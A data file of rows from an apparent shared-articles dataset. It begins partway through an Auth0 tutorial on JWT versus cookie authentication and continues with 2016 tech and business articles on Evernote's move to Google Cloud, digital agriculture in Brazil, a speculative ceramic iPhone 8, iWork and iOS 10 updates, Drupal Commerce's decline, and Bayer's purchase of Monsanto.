trivial to expose APIs to different services and domains. Since the JWT is required and checked with each and every call to the back-end, as long as there is a valid token, requests can be processed. There are a few caveats to this and we'll address those in the Common Questions and Concerns section below. Store Data in the JWT With a cookie based approach, you simply store the session id in a cookie. JWT's on the other hand allow you to store any type of metadata, as long as it's valid JSON. The JWT spec specifies different types of claims that can be included such as reserved, public and private. You can learn more about the specifics and the differences between the types of claims on the jwt.io website. In practice, what this means is that a JWT can contain any type of data. Depending on your use case you may choose to make the minimal amount of claims such as the user id and expiration of the token, or you may decide to include additional claims such as the users email address, who issued the token, scopes or permissions for the user, and more. Performance When using the cookie based authentication, the back-end has to do a lookup, whether that be a traditional SQL database or a NoSQL alternative, and the roundtrip is likely to take longer compared to decoding a token. Additionally, since you can store additional data inside the JWT, such as the users permission level, you can save yourself additional lookup calls to get and process the requested data. For example, say you had an API resource /api/orders that retrieves the latest orders placed via your app, but only users with the role of admin have access to view this data. In a cookie based approach, once the request is made, you'd have one call to the database to verify that the session is valid, another to get the user data and verify that the user has the role of admin , and finally a third call to get the data. On the other hand, with a JWT approach, you can store the user role in the JWT, so once the request is made and the JWT verified, you can make a single call to the database to retrieve the orders. Mobile Ready Modern APIs do not only interact with the browser. Written properly a single API can serve both the browser and native mobile platforms like iOS and Android. Native mobile platforms and cookies do not mix well. While possible, there are many limitations and considerations to using cookies with mobile platforms. Tokens on the other hand are much easier to implement on both iOS and Android. Tokens are also easier to implement for Internet of Things applications and services that do not have a concept of a cookie store. Common Questions and Concerns In this section, we'll take a look at some common questions and concerns that frequently arise when the topic of token authentication comes up. The key focus here will be security but we'll examine use cases concerning token size, storage and encryption. JWT Size The biggest disadvantage of token authentication is the size of JWTs. A session cookie is relatively tiny compared to even the smallest JWT. Depending on your use case, the size of the token could become problematic if you add many claims to it. Remember, each request to the server must include the JWT along with it. Where to Store Tokens? With token-based auth, you are given the choice of where to store the JWT. Commonly, the JWT is placed in the browsers local storage and this works well for most use cases. There are some issues with storing JWTs in local storage to be aware of. Unlike cookies, local storage is sandboxed to a specific domain and its data cannot be accessed by any other domain including sub-domains. You can store the token in a cookie instead, but the max size of a cookie is only 4kb so that may be problematic if you have many claims attached to the token. Additionally, you can store the token in session storage which is similar to local storage but is cleared as soon as the user closes the browser. XSS and XSRF Protection Protecting your users and servers is always a top priority. One of the most common concerns developers have when deciding on whether to use token-based authentication is the security implications. Two of the most common attack vectors facing websites are Cross Site Scripting (XSS) and Cross Site Request Forgery (XSRF or CSRF). Cross Site Scripting ) attacks occur when an outside entity is able to execute code within your website or app. The most common attack vector here is if your website allows inputs that are not properly sanitized. If an attacker can execute code on your domain, your JWT tokens are vulnerable. Our CTO has argued in the past that XSS attacks are much easier to deal with compared to XSRF attacks because they are generally better understood. Many frameworks, including Angular, automatically sanitize inputs and prevent arbitrary code execution. If you are not using a framework that sanitizes input/output out-of-the-box, you can look at plugins like caja developed by Google to assist. Sanitizing inputs is a solved issue in many frameworks and languages and I would recommend using a framework or plugin vs building your own. Cross Site Request Forgery attacks are not an issue if you are using JWT with local storage. On the other hand, if your use case requires you to store the JWT in a cookie, you will need to protect against XSRF. XSRF are not as easily understood as XSS attacks. Explaining how XSRF attacks work can be time consuming, so instead, check out this really good guide that explains in-depth how XSRF attacks work. Luckily, preventing XSRF attacks is a fairly simple matter. To over-simplify, protecting against an XSRF attack, your server, upon establishing a session with a client will generate a unique token (note this is not a JWT). Then, anytime data is submitted to your server, a hidden input field will contain this token and the server will check to make sure the tokens match. Again, as our recommendation is to store the JWT in local storage, you probably will not have to worry about XSRF attacks. One of the best ways to protect your users and servers is to have a short expiration time for tokens. That way, even if a token is compromised, it will quickly become useless. Additionally, you may maintain a blacklist of compromised tokens and not allow those tokens access to the system. Finally, the nuclear approach would be to change the signing algorithm, which would invalidate all active tokens and require all of your users to login again. This approach is not easily recommended, but is available in the event of a severe breach. Tokens Are Signed, Not Encrypted A JSON Web Token is comprised of three parts: the header, payload, and signature. The format of a JWT is header.payload.signature . If we were to sign a JWT with the HMACSHA256 algorithm, the secret 'shhhh' and the payload of: The JWT generated would be: The very important thing to note here, is that, this token is signed by the HMACSHA256 algorithm, and the header and payload are Base64URL encoded, it is not encrypted. If I go to jwt.io , paste this token and select the HMACSHA256 algorithm, I could decode the token and read its contents. Therefore, it should go without saying that sensitive data, such as passwords, should never be stored in the payload. If you must store sensitive data in the payload or your use case calls for the JWT to be obscured, you can use JSON Web Encryption (JWE). JWE allows you to encrypt the contents of a JWT so that it is not readable by anyone but the server. JOSE provides a great framework and different options for JWE and has SDKs for many popular frameworks including NodeJS and Java . Token-Based Authentication in Action with Auth0 Here at Auth0, we've written SDKs, guides, and quickstarts for working with JWTs for many languages and frameworks including NodeJS , Java , Python , GoLang , and many more . Our last ""Cookies vs. Tokens"" article used the AngularJS framework, so it's fitting to use Angular 2 for our code samples today. You can download the sample code from our GitHub repo . Downloading the code samples is preferable as Angular 2 requires a lot of initial setup to get going. If you haven't already, sign up for a free Auth0 account so you can do the implementation yourself and experiment with different features and options. Let's get started. Setting Up the Back-end Server We'll first setup our server. We'll build our server with NodeJS. The server will expose two APIs: /ping and /secured/ping . The first will be publicly available any anyone can access it, while the second requires you to be authenticated to call it. The implementation is below: This is a pretty standard Node/Express setup. The only unique thing we did was implement the express-jwt middleware which will validate a JWT. Since we are doing this integration with Auth0, we'll let Auth0 handle the process of generating and signing tokens. If we did not want to use Auth0, we could create and sign our own tokens with the the jsonwebtoken module. Let's see an example of how this can be accomplished. If we were to write this code, launch the server, and navigate to localhost:3001/token we would see a signed token containing the three claims we made. The jsonwebtoken module can also be used to verify and decrypt the tokens. To learn more about it, check out its repo . As we won't be generating tokens on our server, we can remove this code. Implementing the Front-end Next, we'll implement our Angular 2 app. If you are following along from our GitHub repo , you'll see two options for the front-end. One uses systemjs while the other Webpack for loading and manging our modules. As the preferred way to write Angular 2 apps is with TypeScript, we'll build our sample app with TypeScript. For our demo, we'll be working out of the systemjs directory. Additionally, we'll be using the angular2-jwt library which provides helper methods for making requests with the correct headers and also checking to see if a valid token exists. First things first. We need an entry point into our app and that is index.html . Next, we'll define the entry point of our Angular 2 application. This will be done in a file called main.ts . We'll build the auth.service.ts next. This service will provide methods for logging users in and out of our application. Be sure to replace the YOUR_CLIENT_ID and YOUR_DOMAIN with your apps settings from your Auth0 management dashboard . Now that we have the foundation complete. We can start building our application. We'll build our root component in a file called app.component.ts . You may notice from our directive metadata that we will be loading an external template called app.template.html . Angular 2 templates can be inlined or reference an external file and since our template is on the longer side, we'll place it in an external file. From our app.template.html file, we see that we will end up having three routes: Home , Ping and Profile . Additionally, there are two more buttons, Log In and Log Out. The *ngIf directive conditionally displays some routes based on whether the user is authenticated or not. Let's build out the three routes. Home Component The home component is the default route loaded. It is publicaly accessible. Ping Component The ping component interacts with our NodeJS server that we built earlier. The Node server will need to be running for you to access these routes. Profile Component The profile component displays user data for the currently logged in user. This component can only be accessed by a logged in user. With the three components built, we are ready to launch our app. If you are using the provided GitHub repo, you can simply run gulp play and your code will be transpiled into JavaScript and the application will launch at localhost:9000 . If you did not use the GitHub repo, you will need to transpile the typescript or change the systemjs configuration to load typescript files instead. Navigating to localhost:9000 will load our the UI for app which will look like: You can navigate to the Ping tab and click the ""Ping"" button to make a call to your Node API and it will display the correct message. If you click on the Login button you will be prompted to login using the Auth0 Lock widget. Upon successfully authenticating, you will be able to view your Profile, Log out, and have the ability to call a Secured Ping from the Ping tab. Progressive Web Apps The last topic I want to cover before we close out this article is Progressive Web Apps . Progressive Web Apps allow your web based application to behave more like a native mobile iOS or Android app. Progressive Web Apps bring many advantages including increased performance, are ""installable"" on mobile devices, and can work offline. Angular 2, through its Mobile Toolkit , makes it easy to transform your Angular 2 app into a Progressive Web App. There are many components that can make your app more progressive, the one we'll look at today is the webapp manifest . This manifest is simply a file, similar to package.json for example, where you define specifics for your application. When your website is accessed on a mobile device, this manifest can be read and based on the information inside certain actions taken like setting the app name or setting the orientation of the app. Let's look at an app manifest, which is titled manifest.webapp and see which options we can set: Conclusion In today's article we compared the differences between cookie and token-based authentication. We highlighted the advantages and concerns of using tokens and also wrote a simple app to showcase how JWT works in practice. There are many reasons to use tokens and Auth0 is here to ensure that implementing token authentication is easy and secure. Finally, we introduced Progressive Web Apps to help make your web applications feel more native on mobile devices. Sign up for a free account today and be up and running in minutes.",en
1473791107,CONTENT SHARED,-8964534883296838326,-331066625167168067,4681263025225218411,,,,HTML,http://fortune.com/2016/09/13/evernote-google-cloud/,Why Evernote Is Giving Up on Its Data Centers for Google Cloud,"Evernote, which has run its cloud-based services from its own data centers since launching in 2008, is moving completely over to Google Cloud Platform, the two companies announced on Tuesday. ""We hope after December, we won't be in our own data centers any more,"" says Anirbin Kundu , Evernote's chief technology officer, in an interview with Fortune . Evernote offers a popular note-taking and content aggregation application. But the fact here is that shared public cloud infrastructure-like that offered by Google , Amazon , and Microsoft -offers both the scale and security that third-party software vendors need, Kundu explains. The network connections are set up, and Evernote plans to start moving user data over in October in order to be done by year's end, he adds. This is no small achievement as the transition means moving approximately three to 3.5 petabytes of user data from Evernote's two current data centers into the Google Cloud Platform. To get an idea of that scale, a single petabyte (a million gigabytes) of data represents the equivalent of 20 million units of four-drawer file cabinets filled with text. In Evernote's case, that data consists all users' digital content, including notebooks, photos, and other multimedia files of all types as well as data about the data (i.e. user preferences, annotations and attachments). Additionally, with an assist from Google , Evernote must ensure all this happens without a hiccup so as not to disturb or alarm Evernote's estimated 200 million users. The company also plans to move all of its internal operations to Google's cloud as well. For more, read: Google Says Its Cloud Is Ready for Big Business With this massive data move, Evernote is basically doing the exact opposite of what Dropbox did over the past few years when it quietly moved 90% of its user data from Amazon Web Services over to its own internal data centers. To be fair, Evernote appears to be adapting to industry trends as more businesses move applications and data into shared public cloud infrastructures, while Dropbox is swimming upstream given the costs of gearing up massive data centers with hardware, software, and networking gear. Evernote evaluated other, unnamed public cloud vendors-Google's chief rivals are market-leader AWS and runner-up Microsoft Azure-but company execs were particularly keen on Google's machine learning capabilities , which endow software with the ability to learn new tasks based on the data it crunches over time. Machine learning enables software to automate more processes, so there's less need for human intervention. Get Data Sheet , Fortune 's daily technology newsletter. Google's natural language processing (NLP) will also let Evernote users ""speak"" to their documents to annotate them or even just read them into their notebooks. Thus, those to-do lists will be able to ping you when an assignment is due based on what deadlines you put into the document. This will be possible because Google's machine learning will help Evernote understand the meaning of document content and the writer's intent, Kundu explains. ""Many people put travel itineraries, and we can notify you if your flight is delayed,"" Kundu suggests. Additionally, if you're heading to a conference, you might be reminded to get in touch with relevant associates on your contact list in advance of the event. Evernote is popular among consumers, but it's unclear how many of the 200 million users actually pay for the service, which is free for up to 60 megabytes of data. Evernote for Business , which costs $12.99 per user per month has 20,000 customers, Kundu cites. For more on Google Cloud Platform, watch: Asked if there was any concern with trusting the company's entire business to a single, huge provider, Kundu replies that any risk was more than mitigated by the opportunity. Basically, if Evernote just wanted to avail itself of raw compute and storage, it could use multiple cloud providers, he continues. But Evernote wanted to take advantage of Google's higher level capabilities, and that means going all in. Wins like this one indicate that companies that had worried about running on shared public cloud resources have gotten over those concerns as the cloud providers have demonstrated they can isolate workloads from each other and provide security, always-updated-hardware and infrastructure software as part of their overall offering. This is a solid win for Google Cloud Platform which, under senior vice president Diane Greene, is striving to build credibility among business users. Evernote may note be Microsoft Word, but many people in businesses of all sizes use it to keep themselves organized, so this looks like a step in the right direction.",en
1473792629,CONTENT SHARED,-7565625515044903967,2901546026085255870,-7556872400845166456,,,,HTML,http://www.tribunapr.com.br/noticias/economia/agronegocio-entra-na-era-da-agricultura-digital/,"Agronegócio entra na era da agricultura digital | Economia, Notícias | Tribuna PR - Paraná Online","A tecnologia empregada no campo foi determinante para que a agricultura brasileira alcançasse a produtividade atual. Em quase 30 anos, o rendimento das plantações de soja do País aumentou 70,8%, bem acima do incremento de 41% registrado no mesmo período pelos Estados Unidos, maior produtor da oleaginosa. A evolução é contínua e agora se consolida uma nova era de tecnologia agrícola: a da agricultura digital. O que move essa guinada, além do ímpeto dos produtores de alcançar maior eficiência nas lavouras, é a revolução digital provocada pela expansão da telefonia móvel e da internet no Brasil e no mundo. As montadoras de máquinas agrícolas têm exercido papel decisivo nessa nova etapa da agricultura, já que a mecanização das lavouras tirou das mãos do agricultor todas as etapas do processo de produção. Associadas a outras ferramentas de transmissão de dados, como GPS e sinal de rádio, estas máquinas estão transmitindo informações que já eram coletadas no campo para a tela do computador, celular ou tablet de agrônomos e produtores, de forma muito mais rápida agora. E a agricultura de precisão, que abarca os novos sistemas digitais, concentra hoje a atenção de todas as fabricantes. ""Nos próximos três anos, a CNH investirá em pesquisa e desenvolvimento o triplo do que foi investido nos últimos três anos e só a agricultura de precisão absorverá mais de 10% dos recursos para P&D no período"", disse ao Broadcast Agro o diretor da Agricultura de Precisão da CNH Industrial, Gregory Giordan. Gestão de máquinas Na última Agrishow (Feira Internacional de Tecnologia Agrícola em Ação), realizada em abril em Ribeirão Preto (SP), os lançamentos das montadoras se concentraram em sistemas de gestão de máquinas ou de frota que permitem aos produtores monitorar e alterar, em tempo real, a velocidade e a forma de operar da máquina. Tais sistemas, de forma geral, transmitem do computador de bordo da máquina para softwares ou aplicativos, via sinal GPRS, de telefonia celular e internet, se a máquina está colhendo ou plantando na velocidade programada, a quantidade de sementes ou de adubo aplicada por hectare, a umidade do grão, além de sinalizar eventuais problemas técnicos. O Fuse Connected Services, apresentado pela AGCO na feira, pode gerar economia de cerca de R$ 110 mil em uma safra em uma propriedade de 1 mil hectares, graças às perdas evitadas na colheita e ao ganho de produtividade no plantio, segundo o gerente de marketing de produto Crop Care e ATS da AGCO América do Sul, Rafael Antonio Costa. Integração A John Deere fez o pré-lançamento de sistema semelhante na Agrishow, o JD Link, que deve começar a sair de fábrica a partir de janeiro de 2017 em grande parte das máquinas da marca. A CNH, por meio da marca New Holland, lançou o PLM Connect, enquanto a Case IH, do mesmo grupo, passou a oferecer o AFS. A era da agricultura digital também está levando à integração de diversos setores, como o de máquinas agrícolas, agroquímico e de tecnologia, a fim de buscar soluções conjuntas e ofertar sistemas mais completos para os produtores. AGCO, CNH Industrial e John Deere têm parcerias para sincronizar seus sistemas com o de outras empresas e dar aos agricultores condições de controlar à distância um número maior de operações, além das atividades da máquina. As informações são do jornal O Estado de S. Paulo.",pt
1473794864,CONTENT SHARED,141806940259458424,-709287718034731589,-5187304530221861924,,,,HTML,http://www.cultofmac.com/445411/ceramic-iphone-8/,Why a ceramic iPhone 8 might be be the ultimate iPhone | Cult of Mac,"iPhone 8 could look this good. Photo: Apple Apple's switch to ceramic for Apple Watch Edition could mean big things for iPhone 8. Being four times harder than stainless steel and a darn sight prettier, ceramic would be an ideal material for the next generation of iPhone unibodies. Recent rumors have promised Apple will deliver a major redesign next year to celebrate the iPhone's 10th anniversary , and what better way to do that than with a new material that's better than anything Apple's used before? Apple has been a pioneer when it comes to adopting new materials that make our gadgets even greater. And the company usually doesn't stop when it finds one. Jony Ive and Apple's industrial design team have a fascination with developing new materials and manufacturing processes that are even greater than those it is already using. In retrospect, then, it's not that surprising that Apple did away with 18-karat gold for this year's Apple Watch Edition and used white ceramic instead . The material is stronger than steel, with a ""pearly, lustrous finish that won't scratch or tarnish,"" Apple says - and it's a heck of a lot cheaper than gold. Why a ceramic iPhone 8 makes sense This combination of properties, along with other characteristics of the material, might make ceramic ideal for the iPhone 8. For the past four years, the iPhone has featured an aluminum unibody design just like many other Apple products. Aluminum is great for smartphones and other gadgets because it's lightweight, relatively strong, and it doesn't scratch easily. But ceramic is even better. Say goodbye to scratches Its hardness makes ceramic almost impervious to scuffs and scratches. Zirconia ceramic , which is what Apple uses for the new Watch Edition, is rated 8.5 on the Mohs scale of mineral hardness . In comparison, steel is rated 4.5, while aluminum is rated just 2.5 to 3. Unless you rest your ceramic iPhone on a bed of diamonds, the chance of it getting scratched up during normal, everyday use is next to none. ""Aluminum in almost all forms exhibits a higher likelihood of retaining scratches, scuffs and staining,"" explains Brian Roemelle , alchemist and metaphysician, in a thread over on Quora about why zirconia ceramic would be perfect for a future iPhone. Say hello to hotter colors ""Zirconia ceramics also can be pigmented to any color palette without the use of exterior paints,"" Roemelle adds. Sadly, the same cannot be said about aluminum. Since disappointing us with the slate iPhone 5 , which was painted and notorious for chipping and scratching, Apple has been anodizing all of its aluminum devices. This prevents them from chipping and peeling, but there are only so many colors that can be created when anodizing. What's more, glossy aluminum color options are even more susceptible to scratching. Apple has already warned that the new jet black iPhone 7 will pick up surface scratches without a case, but the ceramic Apple Watch Edition's ""smooth surface"" with ""an exquisite shine"" will not. Zirconia ceramic can even be completely transparent. That means Apple could offer an iPhone you could see into. It seems unlikely, but we've seen transparent Apple products before. Transparent ceramic could even be used to protect future iPhone displays. Warm up to cooler handsets If you've ever used your iPhone for a prolonged period, especially during a mammoth gaming session or while it's charging, you've probably noticed its aluminum unibody can get pretty hot. But zirconia ceramic is significantly better at dissipating heat. In fact, ceramic is so good at this that it was used by NASA on the space shuttle orbiter to prevent it from melting during re-entry. If Apple used ceramic for the iPhone, the device's shell would be much more efficient at carrying heat away from the processor and other internal components. Enjoy better, prettier connectivity Apple has made the antenna bands slightly better looking for iPhone 7, but they're still there - and they're still ugly. But if Cupertino chose to use ceramic for iPhone 8, those antenna bands could be eliminated. Unlike aluminum, ceramic doesn't block radio signals. All those chips inside your iPhone that need to send and receive radio signals - Wi-Fi, cellular, Bluetooth, NFC and GPS - wouldn't be restricted by a ceramic body in the same way they are by metal. Take advantage of easier manufacturing Another big advantage of ceramic highlighted by Roemelle is that it's easier to manufacture. Apple has patented production processes that allow devices containing ceramic and polymer components to be manufactured quickly and with higher precision than when using metal. ""Apple has created a system whereby injection molding can be used to form the unibody of a device and to mate that device efficiently to a screen,"" Roemelle writes. Ceramic cases can be batteries Giving us enough power to make it through the day is one of the toughest challenges smartphone makers face with existing lithium-ion battery technologies. The only way to achieve this is with bigger batteries that take up more room and make our devices fatter. Apple has already given us slightly bigger batteries in iPhone 7 and iPhone 7 Plus, but that's one of the reasons why the headphone jack had to go. However, if Apple was to make iPhone 8 out of ceramic, the handset's entire body could become the battery. That's thanks to new lithium-ceramic battery technology , which is much more resilient than lithium-ion. Lithium-ceramic batteries can be cut in half and still operate normally, which makes them much safer than most alternatives. They're also more recyclable. However, lithium-ceramic isn't yet as efficient as lithium-ion, so perhaps this particular advantage won't present itself in iPhone 8. But it's something Apple will almost certainly be looking at for the future. Downsides of a ceramic iPhone 8 Although zirconia ceramic offers a number of massive advantages over aluminum, the material isn't perfect. While most metals can bend without breaking, making them rather durable when dropped, ceramic is much more brittle, which means it's more likely to shatter on impact. A ceramic iPhone 8 might be nearly immune to scratches, but drop it on a hard surface without a case and it could break into a million tiny pieces like a china mug. Ceramic is also more expensive than aluminum, which is why the new Apple Watch Edition starts at a whopping $1,249. However, the more Apple uses the material, and the better the company gets at manufacturing it, the more affordable ceramic will become. Is a ceramic iPhone still an ideal upgrade? Yes, there are downsides, but ceramic seems immensely better than aluminum for a device like the iPhone. Roemelle thinks it makes so much sense that a ceramic iPhone 8 is almost inevitable. ""There will be ergonomic curves that will mold into the new AMOLED display being driven by video chips that simply could not have thermally operated in such a small space without heat efficiency of zirconia ceramics,"" he writes. ""The iPhone 8 will not just be water-resistant but waterproof and dust-proof to a level never seen before on a smartphone.""",en
1473794899,CONTENT SHARED,-3832772858396854546,-709287718034731589,-5187304530221861924,,,,HTML,http://www.macrumors.com/2016/09/13/apple-iwork-real-time-collaboration-update/,Apple's iWork for iOS Apps Updated With Real-Time Collaboration,"Apple today updated its iWork line of apps, including Pages, Keynote, and Numbers, for iOS 10 . The new versions of the apps include a real-time collaboration feature, which is available as a beta. With real-time collaboration, first announced on September 7, multiple users can edit an iWork document at one time using a Mac, an iOS device, or iCloud .com. Real-time collaboration allows all users to see what each person is doing inside the document, with multiple cursors and a list of document editors. Also included in today's update is a new formatting pane designed for the 12.9-inch iPad Pro , support for wide color gamut (a feature coming in the iPhone 7 ), improved downloading, and enhanced keyboard navigation and keyboard shortcuts. What's New in Version 3.0 - Real-time collaboration (feature in beta) - Edit a document with others at the same time in Pages on Mac, iPad, iPhone, and iCloud.com - Share your document publicly or with specific people - See who else is in a document - See participants' cursors as they're editing - A new format pane takes advantage of the display on the 12.9-inch iPad Pro - Improved downloading - Pages now downloads documents from iCloud only when you're ready to work on them - Wide color gamut image support - Enhanced keyboard navigation and additional keyboard shortcuts In Keynote, there's an option to present a slideshow that users can follow along with from their Mac, iPhone, iPad, or iCloud.com, and there's a feature for highlighting with the Apple Pencil while presenting on the iPad Pro. Pages and Keynote also both feature support for opening and editing Pages and Keynote '05 documents. Apple's line of iWork apps are free to users who have recently purchased a new Mac or iOS device. Otherwise, each iWork app for Mac is available for $19.99 while each iWork app for iOS is available for $9.99.",en
1473794951,CONTENT SHARED,-1302167511807875596,-709287718034731589,-5187304530221861924,,,,HTML,http://www.macrumors.com/2016/09/13/apple-releases-ios-10/,"Apple Releases iOS 10 With Redesigned Lock Screen, New Messages Features, Third-Party Siri, and More","Apple today released iOS 10, the latest operating system designed for the iPad, iPhone, and iPod touch , to the public. iOS 10 can be downloaded on the iPhone 5 and later, the iPad mini and later, the iPad 2 and later, and the 6th generation iPod touch. The update is available on all eligible devices through iTunes or over-the-air in the Settings app. To access the update, go to Settings --> General --> Software update. As with all major software releases, it may take a few minutes for the update to propagate due to high user demand. According to Apple, iOS 10 is the ""biggest release ever"" for iOS devices, with major updates for Messages, Siri , Photos, Maps, Apple Music , Apple Pay , and the iOS interface. iOS 10 features a redesigned Lock screen experience with 3D Touch -enabled notifications, a more easily accessible camera, and a widgets screen. A revamped Control Center also offers 3D Touch support along with new controls for music and HomeKit devices. Raise to Wake, a new feature for the latest devices, wakes up the iPhone without bypassing notifications. Messages has been entirely overhauled with new features like background animations, bubble effects, rich links, and Digital Touch, and there's even a full Messages App Store that can add almost unlimited capabilities to messages, from sending stickers and GIFs to making payments or placing collaborative dinner orders. A new Siri SDK lets developers build support into their apps, and a dedicated ""Home"" app gives users a central place to control HomeKit devices. Photos features impressive facial and object recognition capabilities, and a new Memories feature allows you to discover forgotten memories. Maps and Apple Music have both been redesigned with cleaner, simpler interfaces, with Maps gaining proactive suggestions and integrated third-party apps and Music gaining better content discovery features and a new focus on lyrics. There's a new feature that lets stock iOS apps be hidden from sight, and the QuickType keyboard is smarter with new contextual predictions, including emoji predictions. Apple Pay is available on the web starting today, and Game Center has been largely eliminated. For full details on the new features included in iOS 10, make sure to check out our complete iOS 10 roundup .",en
1473795553,CONTENT SHARED,-6707474286910397949,3891637997717104548,-1482578711359637617,,,,HTML,https://medium.com/third-grove/the-death-of-drupal-commerce-as-an-ecommerce-solution-daa6c30dff94,The Death of Drupal Commerce as an Ecommerce Solution - Third & Grove,"In a report on the sweeping changes in ecommerce platforms from 2012-2015 there's a telling omission in a graph near the top: Drupal Commerce doesn't appear. Not once. Today, 75% of all online stores in the Alexa top one million run on just three platforms: Magento (the Community and Enterprise editions), WooCommerce (commerce on WordPress), and Shopify. These three platforms represent a compelling cross-section of use cases. Magento is open source, has a mature for-profit company supporting the platform, and can handle any enterprise client, no matter how custom the requirements, traffic, or sales volume. WooCommerce offers an easy-to-use solution familiar to the millions already comfortable with WordPress. Shopify provides a platform-as-a-service solution that allows people to launch a store in a few minutes without the need for software engineers. (Shopify is making an exciting play at the enterprise market - more below.) There have been tectonic shifts in the ecommerce platform space since 2012, with new entrants devastating once-dominant platforms and pushing them into permanent decline. But in this report's overview of that history, Drupal Commerce doesn't even appear as a contender. Drupal Commerce faces four major challenges that together are insurmountable for a platform in such a weak position to overcome : Vanishing market opportunities as SaaS tools devour the low-end market; An inability to serve the enterprise market due to a lack of corporate backer for the platform; Inability to decouple from a content management system that lacks backwards compatibility; and, Maturity of coupled content and commerce platforms. Challenge 1: On-demand managed solutions like Shopify and BigCommerce cannot be stopped from consuming the low-end market Shopify has enjoyed explosive growth in the last several years. It is a cost-effective, compelling commerce platform for clients with modest annual revenue or for teams that don't need custom integrations with other systems. Shopify saves our clients with simpler needs time and money and speeds up their time-to-market by orders of magnitude over traditional commerce systems. Interestingly, Shopify recently launched a new enterprise platform called Shopify Plus targeted at high-traffic enterprise stores. They clearly aspire to break out of the low-end market. Shopify isn't going away. It's in heavy growth and market adoption phase. SquareSpace, a leading website SaaS company recently added commerce support. Just a few short weeks after the company backing Drupal Commerce shut down (see next challenge), BigCommerce raised $30 million in venture capital . This is a startlingly clear message from the market. The SaaS space is eating into the low-end custom space, and that spells trouble for platforms like Drupal Commerce that haven't broken out of being niche players. Challenge 2: Lack of robust corporate support You know that old adage from the early days of technology about no one getting fired for buying IBM? When C-level leadership of large companies invest in platforms they are making a big bet on the long-term success of the platform. These folks don't normally bet big on open-source solutions unless the technology is backed by a major company that understands the unique needs and challenges that face senior leadership in large organizations. Profitable companies with revenue fade slower than orphaned open-source projects. Sadly, earlier this year the for-profit company behind Drupal Commerce dissolved , devolving into a hosting company ( platform.sh ) and a boutique Drupal agency that focuses on Commerce. Without a mature, stable company that understands the needs of enterprise clients, using Drupal Commerce will always be higher risk than other solutions. Challenge 3: Monolithic systems are dead The last major pressure facing Drupal Commerce is arguably the most deadly because it strikes at the heart of the platform's most compelling feature: the ability to provide rock-solid content management (Drupal) and commerce within the same system. As demonstrated by our projects with awesome brands like Quicken, Benefit Cosmetics , and Dwell, the era of monolithic single systems is over. Tightly-coupled integrations between best-of-market tools are proving to be far more robust digital platforms than single systems. Magento, Hybris, and ATG aren't great at content, but Drupal sure is. Combined with the Acquia platform (to Drupal what RedHat is to Linux) Drupal operates at enterprise scale for any digital experience need. When you combine best-of-breed content (Drupal) with best-of-breed-platform (Acquia) with best-of-breed commerce (like Magento 2, Hybris, or Shopify Plus) using well-designed connectors you get a winning solution every time. Challenge 4: Cinderblock shoes, or not forking Drupal Unlike Drupal's competitors, major releases of Drupal are not backwards-compatible. That means moving a site from Drupal 7 to Drupal 8 probably requires the same amount of effort as moving a WordPress site to Drupal. Drupal Commerce decided to stick with Drupal and is moving to Drupal 8. Why was sticking with Drupal a challenge? Because instead of focusing on building a compelling commerce platform, the core Commerce team has and will spend countless hours upgrading Commerce to Drupal 8. Imagine what the teams at Shopify or WooCommerce or Magento can build in the time that the core Commerce team spends moving Drupal Commerce to Drupal 8 . While many of our clients find us because of our reputation for Drupal excellence at any scale, we frequently spent time telling our clients it's not about the technology; it's about how your digital strategy furthers the goals of your business. Arguably, the Drupal Commerce team is too focused on the technology and not enough on the strategy side of their business. But is Drupal Commerce really dead? An easy counterargument that Drupal Commerce is alive and thriving would be the usage statistics chart on Drupal.org for Drupal Commerce . At first blush, the chart tells the story of a growing platform: going up and to the right: In 2013, it took Drupal Commerce just one year to double the number of sites using the platform. That's amazing growth. But by 2014, growth slowed to 33% and in 2015 growth was just 18%. In 2016 growth was essentially flat. Slowing growth is a not necessarily a concern when a platform reaches market maturity, but less than 70,000 installations is hardly market maturity when there are millions of online stores. Lessons from the market Two critical market moves provide additional, troubling news for Drupal Commerce: First, look at Acquia's commerce strategy over the last four years. It appears Acquia and Drupal Commerce attempted to collaborate early on, but little actually occurred. In the years since, Acquia has distanced itself from Drupal Commerce, announcing an exciting partnership with enterprise commerce leader Hybris last June. Second, look to platform.sh , the hosting platform created by the Drupal Commerce team and recently spun out as its own company. In April, Magento announced at their annual Imagine conference a forthcoming enterprise platform for hosting Magento called Magento Enterprise Cloud (a similar product to what Acquia offers for Drupal). What powers Magento's cloud platform? None other than platform.sh. The hosting platform originally created by Drupal Commerce has pivoted to power an entirely different commerce platform. A tremendous amount of awesome engineering work by really smart people has gone into Drupal Commerce over the years. But the combined market forces standing in Drupal Commerce's way are simply too strong for the platform to overcome. The writing is on the wall.",en
1473857779,CONTENT SHARED,-3302834510061927448,-6030696784871381528,-5052144656549396793,,,,HTML,http://g1.globo.com/economia/negocios/noticia/2016/09/bayer-anuncia-compra-da-monsanto-por-us-66-bilhoes2016.html,Bayer anuncia compra da Monsanto por US$ 66 bilhões,"O grupo farmacêutico alemão Bayer anunciou nesta quarta-feira (14) ter fechado acordo para a compra da empresa norte-americana Monsanto, líder mundial dos herbicidas e engenharia genética de sementes, por US$ 66 bilhões. ""Bayer e Monsanto assinaram nesta quarta-feira um acordo de fusão"", anunciou a Bayer em um comunicado. ""Os membros do Conselho de Administração da Monsanto, assim como os Conselhos Diretivo e de Supervisão da Bayer, aprovaram o acordo por unanimidade"", diz ainda o texto. As negociações começaram no primeiro semestre. Em maio, a Bayer fez oferta de US$ 122 por ação , aumentando em seguida para US$ 125 . A proposta seguinte, também recusada, foi de US$ 127,50 por ação. O acordo foi fechado por US$ 128 por ação. ""Com esta transação alcançamos um notável valor para nossos acionistas, clientes, empregados e para a sociedade"", disse Werner Baumann, presidente da Bayer, segundo a EFE. Já o presidente e diretor-executivo de Monsanto, Hugh Grant, destacou que ""o anúncio de hoje é a confirmação de tudo o que alcançamos e do valor que conseguimos para os acionistas"" da fabricante americana. Maior aquisição Autoridades antitruste ainda precisam aprovar a fusão. Trata-se do maior acordo de aquisição fechado neste ano e, se concretizada, a maior aquisição já feita por uma empresa alemã, destaca a Deutsche Welle. Ainda segundo a agência, o acordo supera a fusão da alemã Daimler com a americana Chrysler, em 1998, que rendeu à montadora dos EUA mais de US$ 40 bilhões. A compra da Monsanto também deve ser a maior transação em dinheiro já realizada, superando a oferta de US$ 60,4 bilhões feita pela cervejaria InBev à Anheuser-Busch em 2008. Se concretizado, o negócio criará a maior fabricante de herbicidas e sementes do mundo. Segundo o jornal The Wall Street Journal, juntas, a Bayer e a Monsanto controlariam 28% das vendas de herbicidas. Elas também seriam fortes no mercado de sementes de cereais e de soja nos Estados Unidos .",pt
